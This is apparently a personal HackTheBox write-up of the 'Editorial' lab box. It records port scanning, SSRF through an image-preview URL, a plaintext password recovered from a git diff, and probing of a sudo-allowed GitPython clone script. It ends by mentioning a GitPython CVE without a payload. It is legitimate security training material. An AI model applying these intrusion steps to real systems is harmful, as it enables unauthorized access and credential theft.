┌──(root㉿kali)-[~]
└─# nmap -sC -A -p- -T4 editorial.htb
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-29 01:59 EDT
Nmap scan report for editorial.htb (10.10.11.20)
Host is up (0.046s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 0d:ed:b2:9c:e2:53:fb:d4:c8:c1:19:6e:75:80:d8:64 (ECDSA)
|_ 256 0f:b9:a7:51:0e:00:d5:7b:5b:7c:5f:bf:2b:ed:53:a0 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Editorial Tiempo Arriba
|_http-server-header: nginx/1.18.0 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=6/29%OT=22%CT=1%CU=33388%PV=Y%DS=2%DC=T%G=Y%TM=667F
OS:A2F5%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=10D%TI=Z%CI=Z%II=I%TS=A)
OS:SEQ(SP=106%GCD=2%ISR=10D%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M53CST11NW7%O2=M53CS
OS:T11NW7%O3=M53CNNT11NW7%O4=M53CST11NW7%O5=M53CST11NW7%O6=M53CST11)WIN(W1=
OS:FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=
OS:M53CNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)
OS:T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S
OS:+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=
OS:Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G
OS:%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 8888/tcp)
HOP RTT ADDRESS
1 44.95 ms 10.10.14.1
2 45.74 ms editorial.htb (10.10.11.20)
 Being able to call another URL from the webapp should ring alarm bells in your head that YOU ARE WORKING WITH SSRF! In this case you can setup a burp request to enumerate the local webserver's ports and find anything interesting:
SSRF


 Note the length here! this indicates its not the same response as the other, normal jpg responses
now let's check it out   after hitting preview:
 we get some juicy details
the /api/latest/metadata/messages/authors endpoint gives us creds:

and ofc it's valid on SSH.
privesc as dev
we have a git directory in the /home/app dir lets take a look at git diffs and see if we can find anything neat ref: [[HTB - Intentions#exfiltrating Git and running a diff on commits to find interesting information]] looking thru the diffs we get another set of credentials:
return jsonify({
+ 'template_mail_message': "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: prod\nPassword: 080217_Producti0n_2023!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, " + api_editorial_name + " Team."
+ }) # TODO: replace dev credentials when checks pass
dev@editorial:~/apps/.git$ su - prod
Password:
prod@editorial:~$ whoami
prod
prod@editorial:~$
and it works, very nice
prod@editorial:~$ sudo -l
[sudo] password for prod:
Matching Defaults entries for prod on editorial:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User prod may run the following commands on editorial:
(root) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *
prod@editorial:~$ cat /opt/internal_apps/clone_changes/clone_prod_change.py
#!/usr/bin/python3
import os
import sys
from git import Repo
os.chdir('/opt/internal_apps/clone_changes')
url_to_clone = sys.argv[1]
r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
https://gitpython.readthedocs.io/en/stable/tutorial.html
_classmethod_clone_from(_url: Union[str, os.PathLike[str]]_, _to_path: Union[str, os.PathLike[str]]_, _progress: Optional[Callable[[int, Union[str, float], Optional[Union[str, float]], str], None]] = None_, _env: Optional[Mapping[str, str]] = None_, _multi_options: Optional[List[str]] = None_, _allow_unsafe_protocols: bool = False_, _allow_unsafe_options: bool = False_, _**kwargs: Any_)→ [git.repo.base.Repo](https://gitpython.readthedocs.io/en/stable/reference.html#git.repo.base.Repo "git.repo.base.Repo")[](https://gitpython.readthedocs.io/en/stable/reference.html#git.repo.base.Repo.clone_from "Permalink to this definition")
Create a clone from the given URL.
Parameters
- **url** – Valid git url, see: [https://git-scm.com/docs/git-clone#URLS](https://git-scm.com/docs/git-clone#URLS)
- **to_path** – Path to which the repository should be cloned to.
- **progress** – See [`Remote.push`](https://gitpython.readthedocs.io/en/stable/reference.html#git.remote.Remote.push "git.remote.Remote.push").
- **env** –
Optional dictionary containing the desired environment variables.
Note: Provided variables will be used to update the execution environment for `git`. If some variable is not specified in env and is defined in `os.environ`, value from `os.environ` will be used. If you want to unset some variable, consider providing empty string as its value.
- **multi_options** – See the [`clone()`](https://gitpython.readthedocs.io/en/stable/reference.html#git.repo.base.Repo.clone "git.repo.base.Repo.clone") method.
- **allow_unsafe_protocols** – Allow unsafe protocols to be used, like `ext`.
- **allow_unsafe_options** – Allow unsafe options to be used, like `--upload-pack`.
- **kwargs** – See the [`clone()`](https://gitpython.readthedocs.io/en/stable/reference.html#git.repo.base.Repo.clone "git.repo.base.Repo.clone") method.
Returns
[`Repo`](https://gitpython.readthedocs.io/en/stable/reference.html#git.repo.base.Repo "git.repo.base.Repo") instance pointing to the cloned directory.
https://git-scm.com/docs/git-clone#URLS
The following syntaxes may be used with them:
- `ssh://`[_<user>_`@`]_<host>_[`:`_<port>_]`/`_<path-to-git-repo>_
- `git://`_<host>_[:_<port>_]`/`_<path-to-git-repo>_
- `http`[`s`]`://`_<host>_[`:`_<port>_]`/`_<path-to-git-repo>_
- `ftp`[`s`]`://`_<host>_[`:`_<port>_]`/`_<path-to-git-repo>_
hmmm if i git init a repo in my box folder and host a webserver it seems to make requests but, fails
┌──(root㉿kali)-[~/box/editorial]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.20 - - [29/Jun/2024 19:00:20] code 400, message Bad HTTP/0.9 request type ('0038git-upload-pack')
10.10.11.20 - - [29/Jun/2024 19:00:20] "0038git-upload-pack /.git\x00host=10.10.14.2:80\x00\x00version=2\x00" 400 -
10.10.11.20 - - [29/Jun/2024 19:00:29] code 404, message File not found
10.10.11.20 - - [29/Jun/2024 19:00:29] "GET /.git/info/refs?service=git-upload-pack HTTP/1.1" 404 -
10.10.11.20 - - [29/Jun/2024 19:00:40] code 404, message File not found
10.10.11.20 - - [29/Jun/2024 19:00:40] "GET /info/refs?service=git-upload-pack HTTP/1.1" 404 -
10.10.11.20 - - [29/Jun/2024 19:00:43] code 404, message File not found
10.10.11.20 - - [29/Jun/2024 19:00:43] "GET /.git/info/refs?service=git-upload-pack HTTP/1.1" 404 -
prod@editorial:~$ sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py http://10.10.14.2:80/.git
Traceback (most recent call last):
File "/opt/internal_apps/clone_changes/clone_prod_change.py", line 12, in <module>
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1275, in clone_from
return cls._clone(git, url, to_path, GitCmdObjectDB, progress, multi_options, **kwargs)
File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1194, in _clone
finalize_process(proc, stderr=stderr)
File "/usr/local/lib/python3.10/dist-packages/git/util.py", line 419, in finalize_process
proc.wait(**kwargs)
File "/usr/local/lib/python3.10/dist-packages/git/cmd.py", line 559, in wait
raise GitCommandError(remove_password_if_present(self.args), status, errstr)
git.exc.GitCommandError: Cmd('git') failed due to: exit code(128)
cmdline: git clone -v -c protocol.ext.allow=always http://10.10.14.2:80/.git new_changes
stderr: 'Cloning into 'new_changes'...
fatal: repository 'http://10.10.14.2:80/.git/' not found
ahhhh it might be cloning into new_changes ?
`cmdline: git clone -v -c protocol.ext.allow=always http://10.10.14.2:80/.git new_changes

its not totally clear how this could be used to privesc so i might need to RTFM a little here in this case, i actually just needed to lookup a GitPython CVE:
 


Lessons:
Always identify the kind of vuln you're working with. Upload functionality doesn't always mean you get a root shell by default. ALWAYS ENUMERATE APIs